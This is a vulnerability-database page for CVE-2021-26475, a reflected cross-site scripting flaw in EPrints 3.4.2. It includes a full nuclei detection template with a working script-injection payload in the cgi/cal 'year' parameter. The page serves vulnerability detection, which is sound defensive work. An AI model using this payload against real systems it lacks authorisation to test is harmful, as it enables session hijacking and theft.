HexBrain

Browse / CVEs / CVE-2021-26475

CVE-2021-26475· eprints / eprints· CWE-79

EPrints 3.4.2 - Cross-Site Scripting

mediumseverity
6.1CVSS score
7.3%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

EPrints 3.4.2 contains a reflected cross-site scripting vulnerability via the cgi/cal URI.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or upgrade to a newer version of EPrints that addresses this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E
Positive when: contains "</title><script>alert('{{randstr}}')</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-26475 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-26475

info:
  name: EPrints 3.4.2 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: EPrints 3.4.2 contains a reflected cross-site scripting vulnerability via the cgi/cal URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of EPrints that addresses this vulnerability.
  reference:
    - https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf
    - https://files.eprints.org/2548/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26475
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26475
    cwe-id: CWE-79
    epss-score: 0.07326
    epss-percentile: 0.94436
    cpe: cpe:2.3:a:eprints:eprints:3.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eprints
    product: eprints
  tags: cve2021,cve,xss,eprints,intrusive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - </title><script>alert('{{randstr}}')</script>

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from